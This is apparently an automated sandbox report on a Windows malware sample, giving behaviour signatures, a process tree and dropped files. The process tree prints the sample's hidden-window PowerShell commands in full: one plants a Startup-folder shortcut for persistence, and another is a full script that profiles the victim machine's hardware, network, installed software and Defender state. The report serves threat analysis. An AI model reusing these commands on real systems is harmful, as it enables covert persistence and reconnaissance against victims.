Analysis
- max time kernel
149s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
16/07/2026, 02:15
General
- Target 2026-07-15_03ca23ac609f12b0f4209d810a540933_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
- Size 13.1MB
- Sample260716-cpybrsew4w
- SHA256 2b466d8674638be5457ae68f98545028ce22e17391a52bd09a1f9df41e4873b7
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 1 IoCs
- Drops startup file 1 IoCs
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 42 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates processes with tasklist 1 TTPs 5 IoCs
- Detects Pyinstaller 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-15_03ca23ac609f12b0f4209d810a540933_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-15_03ca23ac609f12b0f4209d810a540933_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-07-15_03ca23ac609f12b0f4209d810a540933_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-15_03ca23ac609f12b0f4209d810a540933_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"2⤵
- Downloads MZ/PE file
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command " $WshShell = New-Object -ComObject WScript.Shell $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RemotePanelWatchdog.lnk') $Shortcut.TargetPath = 'C:\ProgramData\RemotePanel\watchdog.exe' $Shortcut.WorkingDirectory = 'C:\ProgramData\RemotePanel' $Shortcut.Save() "3⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\ProgramData\RemotePanel\online.exeC:\ProgramData\RemotePanel\online.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\RemotePanel\online.exeC:\ProgramData\RemotePanel\online.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command " $ErrorActionPreference = 'SilentlyContinue' $os = Get-CimInstance Win32_OperatingSystem $cs = Get-CimInstance Win32_ComputerSystem $cpu = Get-CimInstance Win32_Processor | Select-Object -First 1 $bios = Get-CimInstance Win32_BIOS $board = Get-CimInstance Win32_BaseBoard $product = Get-CimInstance Win32_ComputerSystemProduct $publicIp = $null try { $publicIp = (Invoke-RestMethod -Uri 'https://api.ipify.org?format=text' -TimeoutSec 10).ToString().Trim() } catch { try { $publicIp = (Invoke-WebRequest -UseBasicParsing -Uri 'https://api.ipify.org' -TimeoutSec 10).Content.Trim() } catch {} } $disks = Get-CimInstance Win32_LogicalDisk -Filter \"DriveType=3\" | ForEach-Object { [PSCustomObject]@{ device = $_.DeviceID label = $_.VolumeName filesystem = $_.FileSystem size_bytes = [int64]$_.Size free_bytes = [int64]$_.FreeSpace } } $adapters = @() try { $adapters = Get-NetAdapter -Physical | ForEach-Object { $adapter = $_ $ipcfg = Get-NetIPConfiguration -InterfaceIndex $adapter.ifIndex [PSCustomObject]@{ name = $adapter.Name description = $adapter.InterfaceDescription mac = (($adapter.MacAddress -replace '-', ':').ToUpper()) status = [string]$adapter.Status ipv4 = @($ipcfg.IPv4Address | ForEach-Object { $_.IPAddress }) gateway = @($ipcfg.IPv4DefaultGateway | ForEach-Object { $_.NextHop }) dns = @($ipcfg.DNSServer.ServerAddresses) } } } catch { $adapters = Get-CimInstance Win32_NetworkAdapterConfiguration -Filter \"IPEnabled=True\" | ForEach-Object { [PSCustomObject]@{ name = $_.Description description = $_.Description mac = (($_.MACAddress -replace '-', ':').ToUpper()) status = 'unknown' ipv4 = @($_.IPAddress | Where-Object { $_ -match '^\d+\.' }) gateway = @($_.DefaultIPGateway) dns = @($_.DNSServerSearchOrder) } } } $roots = @( 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*', 'HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*', 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*' ) $programs = foreach ($root in $roots) { Get-ItemProperty $root | Where-Object { $_.DisplayName } | ForEach-Object { [PSCustomObject]@{ name = [string]$_.DisplayName version = [string]$_.DisplayVersion publisher = [string]$_.Publisher install_date = [string]$_.InstallDate } } } $programs = @($programs | Sort-Object name, version -Unique) $defender = $null try { $mp = Get-MpComputerStatus $defender = [PSCustomObject]@{ antivirus_enabled = [bool]$mp.AntivirusEnabled realtime_enabled = [bool]$mp.RealTimeProtectionEnabled signatures_updated_at = if ($mp.AntivirusSignatureLastUpdated) { $mp.AntivirusSignatureLastUpdated.ToString('o') } else { $null } } } catch {} $result = [PSCustomObject]@{ schema_version = 1 collected_at = (Get-Date).ToUniversalTime().ToString('o') hostname = $env:COMPUTERNAME username = [Environment]::UserName domain = $cs.Domain workgroup = $cs.Workgroup public_ip = $publicIp os = [PSCustomObject]@{ caption = $os.Caption version = $os.Version build = $os.BuildNumber architecture = $os.OSArchitecture installed_at = if ($os.InstallDate) { $os.InstallDate.ToUniversalTime().ToString('o') } else { $null } last_boot = if ($os.LastBootUpTime) { $os.LastBootUpTime.ToUniversalTime().ToString('o') } else { $null } } hardware = [PSCustomObject]@{ manufacturer = $cs.Manufacturer model = $cs.Model total_ram_bytes = [int64]$cs.TotalPhysicalMemory cpu = $cpu.Name cpu_cores = $cpu.NumberOfCores cpu_logical = $cpu.NumberOfLogicalProcessors bios_serial = $bios.SerialNumber bios_version = [string]$bios.SMBIOSBIOSVersion motherboard_manufacturer = $board.Manufacturer motherboard_product = $board.Product motherboard_serial = $board.SerialNumber motherboard_uuid = $product.UUID } disks = @($disks) network_adapters = @($adapters) programs = @($programs) security = [PSCustomObject]@{ defender = $defender } } $result | ConvertTo-Json -Depth 8 -Compress "5⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\SYSTEM32\tasklist.exetasklist.exe /FI "PID eq 5080" /FO CSV /NH3⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SYSTEM32\tasklist.exetasklist.exe /FI "PID eq 5080" /FO CSV /NH3⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SYSTEM32\tasklist.exetasklist.exe /FI "PID eq 5080" /FO CSV /NH3⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SYSTEM32\tasklist.exetasklist.exe /FI "PID eq 5080" /FO CSV /NH3⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SYSTEM32\tasklist.exetasklist.exe /FI "PID eq 5080" /FO CSV /NH3⤵
- Enumerates processes with tasklist
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
online.exe
base_library.zip
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_bz2.pyd
_ctypes.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_ssl.pyd
_wmi.pyd
_zstd.pyd
base_library.zip
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
python3.DLL
python314.dll
Lorem ipsum.txt
ucrtbase.dll
unicodedata.pyd
__PSScriptPolicyTest_g40zit4q.ccp.ps1
memory/2168-256-0x00000215A3ED0000-0x00000215A3F82000-memory.dmp
memory/2168-257-0x00000215A3F90000-0x00000215A3F9A000-memory.dmp
memory/2168-269-0x00000215A4E10000-0x00000215A5338000-memory.dmp
memory/2168-268-0x00000215A4710000-0x00000215A48D2000-memory.dmp
memory/2168-266-0x00000215A3F90000-0x00000215A3FA0000-memory.dmp
memory/2168-267-0x00000215A4520000-0x00000215A453A000-memory.dmp
memory/2168-262-0x00000215A4520000-0x00000215A453E000-memory.dmp
memory/2168-258-0x00000215A4120000-0x00000215A414A000-memory.dmp
memory/2168-255-0x00000215A3EB0000-0x00000215A3ECE000-memory.dmp
memory/2168-259-0x00000215A4120000-0x00000215A4144000-memory.dmp
memory/5040-123-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp
memory/5040-117-0x00007FFCCB05F000-0x00007FFCCB060000-memory.dmp
memory/5040-120-0x0000024825540000-0x0000024825562000-memory.dmp
memory/5040-121-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp
memory/5040-122-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp
memory/5040-124-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp
memory/5040-131-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp
memory/5040-128-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp
memory/5040-126-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp